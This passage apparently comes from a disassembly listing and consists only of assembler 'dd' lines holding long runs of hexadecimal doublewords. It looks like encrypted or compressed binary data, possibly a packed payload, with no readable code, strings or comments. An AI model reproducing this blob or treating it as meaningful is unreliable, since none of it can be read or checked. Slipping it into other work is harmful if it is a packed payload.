0EAE5105h, 0F8DB9D74h, 0E7EF2CCh, 7B96A3FFh dd 0C9E3007h, 83BC4A9h, 0A08BE128h, 8DA48178h, 3702C1FCh dd 0BE9CB28h, 815D0461h, 40EF3533h, 3E0C180h, 79565724h dd 1AA65407h, 7A3B86F3h, 2BF601ABh, 0D5315659h, 34EBE45Ah dd 4B5220Eh, 34A5D429h, 6BC72C8Ah, 0F7241010h, 0F68103DEh dd 40C25178h, 15A0CEB0h, 0F2D121Fh, 8D33A97Dh, 0EEE90503h dd 4D10050Dh, 218FE380h, 21835874h, 68BD1128h, 8F865731h dd 0CFE9C6DFh, 0F506AB4Ah, 347A4849h, 653D3064h, 57DED19h dd 178C9158h, 0BF090CFFh, 63AC0D6Ch, 1298FA01h, 29E2EA3h dd 64136859h, 0B850FC98h, 10579400h, 0E8D14014h, 0A7D051F7h dd 0C2269CC5h, 0CA5B5628h, 20CC81A6h, 505E782Ch, 506807C6h dd 1C6953h, 15F7BB24h, 0EBC139ACh, 0E3280373h, 4740C902h dd 1DB30335h, 44012142h, 83FB5644h, 51019682h, 88420505h dd 680B8102h, 29C42A01h, 72D51D0h, 4023A348h, 0DCFFF61Bh dd 1690DD44h, 82F50128h, 59384100h, 48D8F74Ch, 0C4E91840h dd 0C083308Fh, 4870212h, 4B8CEA24h, 74325551h, 4C80E3CDh dd 1A747F12h, 18001605h, 200D56A5h, 98756032h, 313B0CB4h dd 0F0BE2633h, 7004BF2h, 49C1EA81h, 0A21E1FDh, 9BFEE9D5h dd 0E6EF84E0h, 0F7D6C148h, 0C00247DFh, 1D238DC7h, 0FA89D303h dd 4414D5E9h, 0FC8A333h, 5B6DEE53h, 90179AC4h, 2093C29Fh dd 2C5AD009h, 0C98E870Fh, 0EB5D7F0Eh, 3CE5E946h, 0E9C15347h dd 2C128A21h, 0F0E90602h, 0F7104954h, 1272FEA4h, 83E04573h dd 0E19A1DC1h, 2666D390h, 5F198D90h, 5BAA5C31h, 0BA49F34Bh dd 5FE976D8h, 0BF106960h, 7A76708Ah, 6A87304Ch, 2E4C014h dd 0FECC801Ch, 2553C45Fh, 0CFCAB958h, 0F38A2CBCh, 33720F68h dd 58DD5038h, 5CAB3C83h, 2FBD4AAh, 62E0CF81h, 0C1806FA1h dd 0D04526Dh, 67C8E918h, 1EF9BB22h, 8960550Eh, 0C4A7DCABh dd 851973E5h, 0C2312200h, 5AD30158h, 5C92A187h, 2AE96A24h dd 2CC84829h, 95FD5EBh, 1C866CB1h, 0C718F31Dh, 0F7395758h dd 5F0BC2D3h, 83A9C6E9h, 23430400h, 0DAB02B8Eh, 0BF575000h dd 5196398Ch, 5D7A30E9h, 0C8845C28h, 0C9DCBDA0h, 0DA68A8C2h dd 98CC683Dh, 4914996Eh, 6FA45414h, 5AC059A2h, 0E91408A9h dd 24620BD2h, 7519257Eh, 0EE60F90Ch, 333C905Bh, 5A72F15Ch dd 0B7EA05B1h, 83E35F0Ch, 0BD401F6Bh, 581A8B70h, 0B8A43AAFh dd 0E55E1232h, 114A3F0Dh, 3AE2C734h, 6E8675E6h, 0E9308E0Fh dd 0A5BE5602h, 64103853h, 26FF0BD8h, 50033FA4h, 4A8A137Ch dd 0F556B386h, 1A9EC100h, 0CF01B192h, 9A27FC59h, 0DA891EE5h dd 0C17E65Bh, 0EB812CA3h, 84D1A0C4h, 60C20B13h, 68556EA0h dd 30262C7Ah, 2008C027h, 0F8ED8003h, 156774Ch, 20F7DD58h dd 3E545855h, 0BBBC229h, 0DB996853h, 830B82D7h, 413302EDh dd 6BB3181h, 89AC4841h, 7DEA709Ah, 282E83A4h, 0BA030026h dd 5187E46Dh, 4B51AF50h, 42828BEAh, 5E08950h, 3C113AA3h dd 0BA54FD60h, 0A57BF4h, 0F3F28138h, 52350446h, 0C173F762h dd 0CF8F0708h, 0C8C5C0Ch, 0B60F94C2h, 876B42C8h, 68A13Bh dd 0F6E80E2Dh, 0C51F01C3h, 4B895E58h, 283F148Dh, 31FBEFC0h dd 0AD38D932h, 44AD2155h, 4D1214DEh, 458A8B98h, 50EEC180h dd 1687F605h, 7376B4Ch, 31D107C8h, 819CA5E9h, 314BC36Dh dd 0F357C94Ah, 0D0FFCA93h, 0CC17F88h, 0EAD104E2h, 6C2658F6h dd 55150D1Dh, 3CD213F4h, 2F966444h, 0B25CAD54h, 52991951h dd 0B0319A33h, 685C0D06h, 0BE1758FBh, 9D03D5D0h, 8723522Ch dd 52F5B43Dh, 0E47719AFh, 0D74458FEh, 9B528E9Ch, 59F1BF8Fh dd 2A57C983h, 69EA7C7Bh, 0DF118387h, 9201C1BEh, 0C849F53Dh dd 54F7315Eh, 66C38B42h, 4A068AC7h, 66E9C145h, 3E60F602h dd 0DCB89DB4h, 4D26C67Dh, 0F181BDF4h, 1FA82FFAh, 0CE010A60h dd 39216A12h, 61CB895Ah, 0E96E0CA5h, 0A7C9E36h, 60EAF01Dh dd 10C685A0h, 7851317Ah, 847A2198h, 2909E908h, 7B62C297h dd 0CD4B686Dh, 6228FC9Dh, 3C878CE2h, 40E6F269h, 6549CA4Fh dd 5762D812h, 9B85F309h, 31F6C17Fh, 7D519388h, 4C53BE14h dd 49F903E4h, 8C4558EDh, 1BE44E80h, 0E9151250h, 52075257h dd 698D09F7h, 5CC08A06h, 58638760h, 0B3E18951h, 1CE90AB5h dd 7AC838C9h, 870622B4h, 0C15CE581h, 21368CE9h, 0F3FC413Ch dd 6F2D6704h, 651602CEh, 0B9D93078h, 31F0718Dh, 8F70CF5Ch dd 33E2E952h, 220C4027h, 0A40624E9h, 63E39222h, 0C0C8310h dd 10164EE9h, 89D402BAh, 0FA01F94Ah, 315D9740h, 6E80E694h dd 8859CE30h, 0FE5A1EF4h, 0DA06F9CCh, 0CAFC13E9h, 8376438Ch dd 83246A91h, 0B6F036B8h, 2BA8012h, 0B9C35630h, 0A988128h dd 44405C3Fh, 11D242F1h, 840F4700h, 4C109A06h, 75283E53h dd 96FB0079h, 0D789A4B7h, 0FD0C295Ah, 215369E9h, 70AF0DC3h dd 48572E39h, 3194D85Bh, 0B50DB212h, 84301FD3h, 71145CE5h dd 50A4B5A7h, 0CA3C8E8Ah, 0D081F425h, 280A5268h, 370C9633h dd 3DEB410Eh, 0CFBDFB3Ah, 70ED0198h, 0F2EE5856h, 0EA258362h dd 0C709E3D8h, 0B062FB3h, 0ABDE517h, 50457683h, 1A7726EFh dd 0EB835A06h, 256D3304h, 832F999Dh, 269C5871h, 71AA4EC5h dd 73589096h, 77053F2Fh, 0AC7CE00h, 0D6F75891h, 606C998h dd 0A1728B0Fh, 43F6018Fh, 1559804h, 1A0070F0h, 35880F80h dd 826CDF4Eh, 0DC717955h, 1AE0D98Dh, 58083A60h, 417DAE88h dd 0D1E6E86Ch, 4B69E8C1h, 40924828h, 30F03583h, 74680417h dd 0D4CD034Ch, 2CF1519Eh, 1E5A94C7h, 3D44BB53h, 18C20D41h dd 5F2469B4h, 42E46560h, 71DC9E19h, 1A270B2Bh, 5E5E4113h dd 0AB0D2D95h, 2144E358h, 0FAE8924Bh, 0F2F09874h, 0A0109C70h dd 566D02C7h, 1C8B735Fh, 21F3DA44h, 203528h, 66F37AFh dd 8A0F0D09h, 0D13F2289h, 0E0C383EEh, 0D6FB3B69h, 214CBA6h dd 782740ADh, 0A1C4B384h, 3352078h, 60FE098h, 0CF39B0A7h dd 698C4CC8h, 0D8DB50F7h, 0BB6666A4h, 28F10B67h, 0A76808EFh dd 8155004Eh, 0AB0E09C7h, 0F7045C76h, 84EB42C9h, 586BA880h dd 16F1F41h, 8D1BDFBh, 402A1D20h, 0D9904064h, 6D629931h dd 96043FC2h, 0C46B7C08h, 3090496h, 85A63C87h, 98DDEE7Fh dd 50560EA6h, 0F5C00A59h, 2401E45h, 30270CC0h, 15018A1Dh dd 801AE9EAh, 94D0AA40h, 0B435004Ch, 0C17607DFh, 0BECAE850h dd 0BDD08F41h, 4E18265Ch, 0EF6B1A90h, 2F2661h, 945BDE88h dd 0B021FADh, 0B0143426h, 0B672F4D3h, 0A6D37A5Ch, 8B12240Ch dd 61858692h, 1720175Fh, 0B25A5107h, 130A3334h, 8D5B64F2h dd 49A43C62h, 0D3FBC441h, 0F69AB593h, 2A2C847h, 59CA2905h dd 988725CDh, 0D028DABBh, 8C0FE97Dh, 0B41EB3D3h, 0C7C28913h dd 0D86840ADh, 4074286Dh dd 0AA4C01FCh, 95E9DE80h, 0DD363958h, 54B376BEh, 70DE183Ch dd 76AC61Dh, 29C53D10h, 0D765D3F3h, 0E1686609h, 71409A0Fh dd 584FA4B1h, 3C948DE9h, 30B0B701h, 0E3C05BFCh, 0F3801958h dd 5047CCF2h, 2B551F6h, 0E8885007h, 0C540D0F6h, 0B8536658h dd 7E8509A4h, 2F043418h, 215A017Ah, 32621C4Fh, 76A6EB2Ah dd 68B63259h, 528F3C87h, 20BBDC6Dh, 0F78003DBh, 0AC17B41Ch dd 0BF18BFFFh, 0C2F9273Bh, 0C50F7C9Ah, 0E6EB28BBh, 9414E381h dd 0D129960Bh, 6D08B93Ch, 5B5A1329h, 15C35C08h, 838CBC59h dd 9E26680Ch, 12698539h, 12D4C73Bh, 67DE97A2h, 0BB2AC1F5h dd 9B4B3451h, 6DD011Fh, 509BF15Ah, 4E11909Eh, 0F360409Eh dd 5471A2B7h, 0BA60E894h, 4C151C07h, 603B968h, 4B23CD63h dd 4933038h, 0EDE97069h, 77FFB8D0h, 0BF0B23Ch, 542F23F9h dd 43E9B0B8h, 9C5D5940h, 40B088C0h, 0A1F83009h, 0E689569Dh dd 6D06468h, 5CD74192h, 0EC0BB050h, 0C348285Eh, 53520304h dd 0C7B6EBB7h, 2585FE04h, 16F44D04h, 1374C8B4h, 0D1E9E7Ah dd 300D70C6h, 0ACB25E75h, 0C4EF504Ch, 53054CABh, 919F0C54h dd 0FB1ECF8Dh, 52C0A513h, 6AFFACBAh, 4A015C7Eh, 607E474Ch dd 84ED2B0Dh, 877B4750h, 16286334h, 0A157FC0Bh, 0DF015F29h dd 24C642E6h, 31003C70h, 5815E9D2h, 1C1EAEA4h, 1812669Dh dd 0CAC12932h, 3F85C0FFh, 2D0EC0FEh, 309F7A81h, 0E84046B8h dd 80E707D0h, 3FFE0FC7h, 7C1EC8Bh, 55A03EC1h, 5B54CAFFh dd 85410092h, 18E9AB15h, 4A953169h, 0F464EFh, 0E28841F4h dd 0F6DA8658h, 4D54D365h, 0CD0036B3h, 5179C86Dh, 6F266BB9h dd 0E102F1A0h, 0E1921D29h, 2F74CF04h, 0BD88998Fh, 0C0D74EB0h dd 0F9F107E5h, 4DC07492h, 2467045h, 1FF2A058h, 0B6BE0402h dd 835D7DE8h, 5F0DA16h, 0CE680129h, 0F83C0826h, 7DB85971h dd 10D8034Ch, 4E263C55h, 0C6751735h, 0EE59CC54h, 83C603DAh dd 124C940Bh, 203A3F22h, 886CF249h, 0AC9856E6h, 2244802h dd 497C2917h, 0FE175E20h, 28F70FCFh, 0F82C213Fh, 0B025C5Fh dd 98EA0E9h, 9084063Ah, 0AD66074Fh, 52CC373h, 6822C249h dd 0FACF8235h, 85704DE2h, 22815D5Ch, 96EB079Bh, 0B4B55CAAh dd 0F7C0B06Bh, 5095D000h, 114173B8h, 9A25007Fh, 356C0D6Dh dd 0A713AF80h, 0AF0131ACh, 0A6E9EF01h, 45A8C50h, 0C8281D19h dd 59660E2Ch, 5E39D8CBh, 12C8285Ah, 8B004BBAh, 84EA813Bh dd 0BA54502Eh, 130A208Ch, 1B7B4A5Ch, 125CCA3Fh, 0C6B08F0Eh dd 2AE49EFDh, 155AD524h, 694D4C0Ah, 320A8602h, 3104E113h dd 30F059C6h, 7938CF1Eh, 4E0C2C60h, 3F14A11Ah, 0A372C301h dd 140C4008h, 20564E58h, 5EF30127h, 0B52CF6B1h, 6B680702h dd 1EC7796Eh, 45F34B50h, 4F2D8866h, 50AF22D7h, 295919C7h dd 7B469239h, 0ECD19058h, 0F973EE5h, 4C80916h, 1F444A4Eh dd 0A10804Ch, 81E6945Ch, 4D782829h, 6DC7FD52h, 0EDC30091h dd 29FC226Eh, 96EAFAD9h, 0D3310C22h, 5E9A6992h, 74EB517Eh dd 79002DA3h, 5224AF50h, 0C420FF68h, 1D5D8775h, 0D1F7CD06h dd 0E5811F08h, 3EB909C3h, 5FB0A803h, 0E7417FE2h, 7E6B604Ah dd 38C60CDEh, 0D4387974h, 0FD006504h, 298C1848h, 489859CDh dd 0E9305D4Ah, 0BAEBC0E9h, 2242211Dh, 49CEBE81h, 74871D56h dd 57436559h, 0CDE9B221h, 4F06C558h, 0F8E18D0Fh, 81F9642h dd 0EC4337EFh, 620C4A21h, 9343EA22h, 20884A4Dh, 718412EDh dd 64C953Fh, 0A5784947h, 3A01335Ah, 36F2685Eh, 4CC2CE68h dd 0AE82BE57h, 6EEC2834h, 9C09745Ah, 50DD5ABAh, 0A652C929h dd 0CE91209h, 581A32FBh, 1C4095EEh, 22D86923h, 1D9904CEh dd 0D1341491h, 8948C149h, 343066E7h, 33C80C83h, 2DC86A21h dd 4025173Dh, 784DB811h, 16987BEEh, 3ABEBCF8h, 0BA066612h dd 0B00F0F35h, 2EC65CD3h, 0A80B2C2Dh, 2D55654Eh, 4F7A734Fh dd 0AC889435h, 2FEC5932h, 0F4CEF17h, 676641F7h, 0EE3D17F1h dd 7288BCE1h, 380811BCh, 60BD2043h, 805B26BEh, 300BD9F2h dd 0B8148BD4h, 30CC8695h, 0F608C1FEh, 0B20A52DCh, 0C7D8E990h dd 5173BB87h, 0DBF75811h, 7A70AC20h, 0F590578h, 0C8842E80h dd 5B122F97h, 3F0518BCh, 0ACDDFB54h, 80C37D31h, 2C5ED189h dd 18D65857h, 43EA3F52h, 12FDDBCh, 477F6849h, 77502923h dd 992FE0Ah, 0CB7EE91Ch, 7A0BEB6Bh, 2154B0Bh, 3416E8Ch dd 0A015CDFEh, 4F95F648h, 0FAB1B805h, 5F7AF9E4h, 6828308Dh dd 32955330h, 1D1D7B99h, 225397EBh, 0D2C85B87h, 22BC27E9h dd 3802492Ch, 0CE033E68h, 336700CAh, 0F18122B3h, 6D026B55h dd 5E890F64h, 8081AF7Fh, 1B19686Fh, 0B1D1092Ch, 0C2495C66h dd 56D53879h, 6F347B5Ah, 0C8B20A96h, 5FFB290Fh, 59131AACh dd 8CD4F626h, 1887708h, 8664F380h, 0F6EFCBE3h, 10D208D2h dd 7302390Dh, 42C1492Eh, 81249072h, 0B8A626DBh, 0B902032Dh dd 3655C0E8h, 4E126C1h, 49136Fh, 22DF25DFh, 709801C8h dd 5DEE2903h, 271C5B68h, 8482C74Fh, 962FB21h, 3926AD5Ch dd 0D210F3E8h, 0E1D74950h, 3F800C20h, 5C2EE8C3h, 8E0F8580h dd 0CBA25E6Bh, 9E940AF8h, 58305259h, 2D2A0B48h, 0C78A00E7h dd 0E720127Eh, 929C7970h, 0C964BB0Bh, 0E915323Eh, 783F20AFh dd 4EDA445Dh, 7F843153h, 4A763F8Bh, 437574EFh, 1B42B8C1h dd 650500CFh, 11074F5Eh, 8B79A335h, 0BC20153h, 1CE9505Bh dd 0DAF6ADA0h, 3048E280h, 93473EFBh, 0D42175B8h, 0B2074282h dd 1A4A1D8Dh, 0D9D26AC2h, 0E97B6661h, 0BEA5BC15h, 0E99C3C15h dd 0B52156D7h, 84040313h, 0E487AC7Bh, 4C06FA09h, 255972E2h dd 0E30214D3h, 0E50BBBD6h, 0CFDC0C03h, 0A695F61Ah, 0B01F56ECh dd 5585A690h, 202A8EC5h, 7CF78022h, 72F4FAE0h, 446FD69h dd 12D26BDEh, 44CC7391h, 7737E314h, 82F98A8Eh, 54F97B4h dd 12C883C3h, 62B6FB3Ch, 6866025Ch, 408B72Eh, 0A0E9FE30h dd 0EF95D1E1h, 89062006h, 71E80F16h, 268CD508h, 66C30160h dd 0F1161F68h, 218254D3h, 518B76D6h, 7CBB3A8Fh, 0D30F816Eh dd 0C460529Fh, 681B40D2h, 1027ED27h, 9B5F54F4h, 28948B2Ch dd 68CF2A49h, 0F6F240FBh, 80309641h, 8E83DC1h, 0A5F2602Eh dd 0FA95BEB1h, 1B8A56F9h, 59C913FCh, 5A96A8C0h, 0C4C73437h dd 3D9AF364h, 0C9F754D2h, 0AC4CBA6Eh, 0F6430BC4h, 1C689C50h dd 51F8005Bh, 0D1F6C9B1h, 1EC18002h, 0F9883BE9h, 224B6A07h dd 65B5255Ch, 0DBAB49BAh, 0E8A05BEDh, 9D1E679Eh, 477254Bh dd 4EA8CA6Eh, 0E2B583A3h, 63532C5Fh, 0ABEB8180h, 0F6296387h dd 82544DD7h, 8468C204h, 0C084EC59h, 640740BFh, 0E9CA0C29h dd 311E2D43h, 782EFC9Ah, 876999D4h, 994BD0A3h, 0AD2054BFh dd 6AEFDF2Bh, 0D0AEC9A0h, 43311741h, 64033BFh, 14BE10FAh dd 8BC3B91Ah, 70C5EADh, 57D2F759h, 8DD46EAh, 143FC0A0h dd 0D648D00h, 75F5D4Ch, 9417735h, 0C2294F24h, 81809ED1h dd 0C9678FF2h, 2EE9256Ah, 0D829C0C0h, 0DC4DC6EEh, 0B2A2929Eh dd 26B3EDCFh, 5690E15Ch, 0B576825h, 84B45F5h, 571D30D4h dd 9630788h, 0DD03555Fh, 1D005EE1h, 7EC5BE56h, 81320Bh dd 0F352D6EEh, 0E3FBE91Dh, 49B94BA4h, 0A6EC5444h, 0A4EB5BCDh dd 1C15007h, 4A6058C3h, 0FB09A002h, 8F3C528Bh, 321C8712h dd 8FA7BF90h, 1756255h, 5140377Eh, 0B08895B5h, 0D585248Bh dd 4C2EB88Eh, 793E40ADh dd 1240BF8h, 82064FAh, 42730CC2h, 4FA140F1h, 0A098950Ah dd 45811201h, 8A01F044h, 5E13514Dh, 27609600h, 0E4E6A31h dd 4BD53A9Ah, 181B0E60h, 187DE130h, 0C9304090h, 0DBCE0C1Ch dd 31700B41h, 40065EF5h, 0BD3CACBFh, 0FA8A9480h, 1F060490h dd 0EDFC2304h, 359B660Eh, 0ED28BC9Dh, 1E586008h, 7A2E376Eh dd 49D31AC0h, 68010FE1h, 34081CD5h, 1614241Ch, 56FF042Fh dd 0B55C0A44h, 0E0C00BC2h, 80C8E909h, 9B9DD368h, 2E55C12Eh dd 8C410A63h, 794630F4h, 8BF22649h, 0FBC28979h, 53009459h dd 206D39BBh, 0D3F7283Dh, 3CE609FCh, 0DE20687Dh, 0AE24F381h dd 0E0AAA225h, 837063C4h, 0CA1362F7h, 29D3C44h, 19310BEEh dd 0A2E8E6E9h, 5302CE2Ch, 0D82862B3h, 0B2645A5Bh, 0ADE9133Bh dd 8860B25Ch, 754F080Ch, 0F102D432h, 49B81FF7h, 65806E83h dd 3EA74325h, 46A0D1B8h, 1383548Bh, 3F417D2h, 5FF82904h dd 0F74CC69Ah, 44D6F72Ch, 0CC73CD1Ch, 3ADA1054h, 8F5D24C9h dd 0E64A0FEBh, 77A38FF1h, 45F4BE5h, 0EC3C3309h, 7C2FC657h dd 7A1770FDh, 57D8E9E8h, 0EB801359h, 89B50BF3h, 0D996EDE2h dd 0DD08BB54h, 0EE015B09h, 0A183505Dh, 0A0AFCC53h, 68127B34h dd 9347742h, 0E6A46C2h, 0CB8B081h, 34A1EFDCh, 680EF995h dd 65307596h, 0D5F75AB7h, 5EA69555h, 54F3DACh, 8E014549h dd 3DF7A888h, 0F3DE4D76h, 52009A58h, 0EA806AB2h, 0DA1B8654h dd 3E08C3FEh, 0F20F0112h, 7E9C095h, 5C3E2286h, 0A62CD32Ch dd 5685239Ah, 194D4FB6h, 0A4396C15h, 102F8A5Fh, 9990DA07h dd 0B9518012h, 0AE48F92Dh, 6D43314Fh, 252134E9h, 2D69EE41h dd 533F745Ch, 0DDF06877h, 0C31603BCh, 0D1F7A7C7h, 4E69C029h dd 0B992975Ah, 255C3D5Ch, 8063C7E9h, 6168A2C0h, 0ED697B4Bh dd 0E913EF0Bh, 6017F147h, 0C13DFE23h, 2C730180h, 4C8285Bh dd 439152D3h, 638A1719h, 5C4A20F2h, 690BD80h, 0BF5A6541h dd 3E900B94h, 2BD54F41h, 0ED2B5869h, 86912262h, 9509F6B7h dd 6894814h, 36E15233h, 5314B458h, 30AAB8B7h, 10CD2D5Dh dd 5C963B7Ch, 0C2BCF507h, 1C852B4Eh, 77E2AD0Fh, 2116B82Fh dd 535AD7C5h, 88FBF470h, 2D1FD2C7h, 7DFB3098h, 0F8132EE9h dd 88C388F3h, 0F6108734h, 0B80267F8h, 4D14481Bh, 9D8EBBC1h dd 0A4D7CC27h, 0F7424342h, 6130E2DAh, 25D03C60h, 28EF982Bh dd 18F7835Ah, 3A9306E9h, 0E3038143h, 46F23D47h, 251EB6C1h dd 62231377h, 790030CEh, 49C659F5h, 2630540h, 891CC009h dd 4BD458C1h, 2B204A87h, 144C2933h, 0ABD5510h, 30B3E909h dd 60FF19E6h, 0D48A0D10h, 98E9503Dh, 2D00DFB4h, 1F3B2E91h dd 52D01429h, 0CC5108BAh, 50CE5CEAh, 20B5B555h, 0CA370510h dd 623FF6DBh, 0F82116E7h, 6A8284h, 0EF81DF01h, 0BE221764h dd 0E83C1D51h, 51BB6B84h, 0ECCA3242h, 7B9AF2CCh, 59636816h dd 37A0E08Dh, 0CC90A0h, 511717Dh, 9A70C8BEh, 76E9330Ch dd 5D582238h, 0E9F1CF59h, 0DE132B6Ah, 6284AD09h, 0D68A6356h dd 0A8989803h, 54F98884h, 99AA352h, 5D6B080Bh, 96929788h dd 51EF8B5Eh, 35442EE0h, 6FE2D889h, 0A512413Bh, 0DBBBF54Fh dd 2E708411h, 3215A848h, 2912BA10h, 7D47B220h, 0BC1085Bh dd 4ACDEF7h, 43E20064h, 0F52996BCh, 78E5E915h, 3AF17683h dd 0B4770644h, 539FEBECh, 594649A6h, 78FD9280h, 0DBB642E3h dd 28670508h, 20EB01ADh, 0E7D16034h, 9DCFE447h, 3703581Ah dd 52A9021Eh, 8BB0C18Eh, 0ADD25AA4h, 5F62E432h, 0F448D259h dd 98BF96ADh, 0CD839F30h, 8BAF0E65h, 251DF0Ah, 75F07021h dd 3CC28B72h, 0CC37DA68h, 2A40C9Fh, 0F5DA1087h, 205E6400h dd 8959CB01h, 96E912DEh, 819A347Bh, 485AFEF2h, 916EAE6h dd 0BC09F148h, 0DD0A00C2h, 904A1933h, 0A1EB04ECh, 0C0FA7F1Bh dd 0A9480ED7h, 0C6E93E1Dh, 76390A0h, 0C8391E51h, 0E1FACC89h dd 0DF6AD70Fh, 1AA71C34h, 57D20244h, 0D95C07C0h, 0A020195Ah dd 57C2C1B3h, 79297A79h, 40285CCDh, 14B55A0Bh, 915C5B75h dd 3F8821E2h, 778FFF27h, 43BA0081h, 0FE700AD5h, 0F28103DAh dd 8F30456h, 23E80C00h, 0E2C1026Fh, 0D784D605h, 0CA4583h dd 662BC2D6h, 95BCA4C4h, 0E9DA053Eh, 82582FE8h, 3F527E86h dd 0D66B3A87h, 79E4CD02h, 5058D49Ah, 0CB529409h, 5B1F0962h dd 27138898h, 9E6F1427h, 0D5E96250h, 0B3F4E3D2h, 5163EABEh dd 0A9E39C54h, 50D1011Ah, 0A05E6056h, 266A3E44h, 1E614D16h dd 8CA26401h, 5F0BD7F7h, 260C17Dh, 0BA656C96h, 0F9013E2Ch dd 0C54FE916h, 0F6890119h, 2021CE69h, 7F3D6C12h, 0CD1FF65Fh dd 7CD76AD2h, 0B6F0BC12h, 7ED935F5h, 37D50B14h, 7EAB2CD1h dd 50166123h, 2CB28D04h, 0B884FAE8h, 0E0D10756h, 51E38B81h dd 0B95B9751h, 58C28800h, 17B8073h, 0AE35662Fh, 1469C8CCh dd 1AD6A0B9h, 0E1A4F981h, 0FC6284F7h, 27B2A7B0h, 4DED517Eh dd 0C087003Ah, 32043F51h, 0D54765BFh, 31FDC481h, 2520A806h dd 0CEFE3C2Dh, 5DBB8012h, 0DEF64D1Fh, 66684204h, 94A35E05h dd 4B74247Ch, 53EF6FB3h, 580F8BAh, 4EDC2A70h, 43016390h dd 0E9086628h, 743E557Eh, 0A409A876h, 58873CB8h, 2B71EB8Fh dd 0B8DB642h, 0FF653D59h, 0ED15E9BDh, 5F93EA57h, 543C0857h dd 80C4AF3Ah, 2E27BB44h, 0F75517AAh, 3260BD3h, 4B192F80h dd 4A981EFDh, 32E0F305h, 0CFAC5FF2h, 2368664h, 79446468h dd 40AAA43Dh, 6602AC05h, 0C8294516h, 4476390Bh, 8CE2946Eh dd 0EA3F51B5h, 0B3D8F3A2h, 0C4C52932h, 0F07E4DEh, 0B69BBEEh dd 1F29D169h, 0D97F2E50h, 0E81F4EF4h, 0B4CBCF9Dh, 31047A24h dd 0F4A5627Dh, 0CC286B1Dh, 6E74E1E9h, 0F0DE9888h, 9DEBA87Ah dd 600EFEC3h, 0BE5680B1h, 0A82C2AD2h, 0D928890Dh, 0D672501Eh dd 8D1DE984h, 0AC4E9ACh, 0EE4C1F53h, 1BD40B0h, 5C510DF5h dd 0F402E5C1h, 0A7D278D2h, 3693FF00h, 0BBA41E4h, 3344EC10h dd 0F8C05970h, 4D932F13h, 0EAD16829h, 0E5A1808h, 12262792h dd 0A7A86E69h, 0CC33219Eh, 0DF65504Dh, 2E090513h, 0B4F03195h dd 0A0BDD550h, 3BEFEB2Bh, 0A4144967h, 0C3C7C7D6h, 8095DC35h dd 182EA647h, 0A4825D4Bh, 48088BEBh, 0C0142960h, 46C468D9h dd 5A0037B0h, 0D4BFF2B8h, 0E62C2D05h, 1411EBCh, 0B00728D0h dd 6D24203Ch, 14270B90h, 2089E633h, 15981BECh, 0F71FA309h dd 20F88578h, 5A8B69E0h, 0E2215602h, 4814207Dh, 282A8850h dd 9660BEC6h, 0D6820B5Ch, 0B7540668h, 56F22181h, 5A142F44h dd 0D798F393h, 9DD9A2B6h, 7CF21020h, 895C3882h, 10DB1093h dd 31EB0500h, 0D0F7B135h, 40E8D10Fh, 53936148h, 0F7BE2DDh dd 0E9C4214Ah, 8780919Ah, 0D2FF35FBh, 65CFFA86h, 7CF3C501h dd 0E8893EEDh, 69E9A989h, 0ECC0C620h, 501F5205h, 0F9097EB0h dd 0A9452226h, 0B2C30FAFh, 0BC300895h, 80430E66h, 0F5BB70EFh dd 0D6D6C7D5h, 0B353C1DBh, 5EF3F40Ah, 0E9D8280Bh, 66ECA3C5h dd 0D84BBA51h, 64B33829h, 0E198DD3Ch, 2CC7AFC2h, 0CDF4516h dd 164C5C01h, 6560289Eh, 9A27BF08h, 0FCD869E9h, 0A37230B4h dd 0E3FDF6Ch, 17F2BE25h, 51EE8181h, 9C54E69Ah, 32C0B813h dd 791C6F21h, 0F52F6B5Dh, 62C2BC48h, 35B56B16h, 8AEA0AC2h dd 0A102C208h, 7606E62Dh, 792484h, 58BF62C7h, 7E904B43h dd 0F62446EAh, 53A8CE56h, 4737FF25h, 8972248Ch, 75F9C331h dd 22B6662h, 0E0E22959h dd 52D69042h, 842FC99Ah, 5EF05C6Fh, 49FA945Fh, 64D31899h dd 0AE48BB82h, 2CEA8141h, 0F6D83B0Ah, 0BC4C145Ch, 0B0019537h dd 0E9149A35h, 5EA62C23h, 0B10025C9h, 298CEBFh, 0F929E003h dd 7BCB46E9h, 2D5AD0B8h, 0C78A202h, 0D3895E14h, 5F011671h dd 76E94C57h, 0EB50C18Bh, 5009F3B9h, 842D7496h, 6DB83FCCh dd 1F5768C0h, 590E1C94h, 4C05E9C1h, 0F14DDBD6h, 123D1BE5h dd 6A7E7000h, 5DEF2183h, 0EB4CCF3h, 5E63F72Eh, 7A912F13h dd 10050FC7h, 885E508Ch, 0A6BDD385h, 0A0A92213h, 82DD0113h dd 46A78F73h, 4C294606h, 44338074h, 523122AAh, 112DDFCFh dd 30FFF9C3h, 41065774h, 315F2DB8h, 96E1B240h, 586CA033h dd 0D2046087h, 0BCC1A7E9h, 5456C5FAh, 0DFEDA805h, 99E21A8h dd 8390695Ah, 0DD487503h, 9DC10009h, 21AD66C6h, 0CCE925CBh dd 0A4BEC104h, 0C0D389AAh, 4910CFA6h, 25154C80h, 0C555429Fh dd 7267AF4Ah, 2A13E7A6h, 4DD66990h, 0C36B4B3Ch, 0CD73EB4Dh dd 0CE26E3ECh, 0E904E27Fh, 29092196h, 60575D91h, 5B813DD2h dd 0F2EE046Bh, 8B0AF819h, 7650E220h, 0B6C0C0Ah, 0A1C0EABFh dd 0B44DD5F7h, 1339B007h, 96C187Ch, 42903BE1h, 0C6127AF7h dd 0F916443Eh, 0F3D9FDC9h, 5C5F2292h, 0B747D611h, 0C0D011BFh dd 69581110h, 4BE556DEh, 680E0761h, 0E1B417DFh, 0E630CE03h dd 0F2CE9B58h, 59ADA438h, 440E2880h, 9B124CBAh, 90B9D129h dd 0E61C4A83h, 16C444E7h, 0CC314B68h, 0F6019B3h, 0C66E589h dd 830E58CDh, 0B0EFE645h, 58B152B2h, 1B256331h, 0C7164FC8h dd 61C2A6BCh, 0CD2D9032h, 850F8052h, 0EDEB1127h, 0D3FA28EFh dd 167F8E2Ah, 0B55564E9h, 40C6569Bh, 4A1F309Fh, 0C2E776F9h dd 0E90802C5h, 3DC75088h, 4ED5EA68h, 19115FE0h, 0D5A0170h dd 0C958DB71h, 0FFC834F3h, 213D23B3h, 4AA430FDh, 0D48084D5h dd 65038082h, 3E7C198Ch, 0F6D478E9h, 90074E9Fh, 0C1D82EAh dd 0F6583D26h, 0AD46472Dh, 5C5F1AE6h, 884A2FCBh, 1D4068ECh dd 0F0F9D5Eh, 9073C424h, 0E0C1D861h, 3A50548h, 0EDDBFB67h dd 5E5BDA31h, 1CE90B53h, 0AC046E29h, 0ECB38602h, 0C059A04h dd 63C0834Eh, 0FBD5549h, 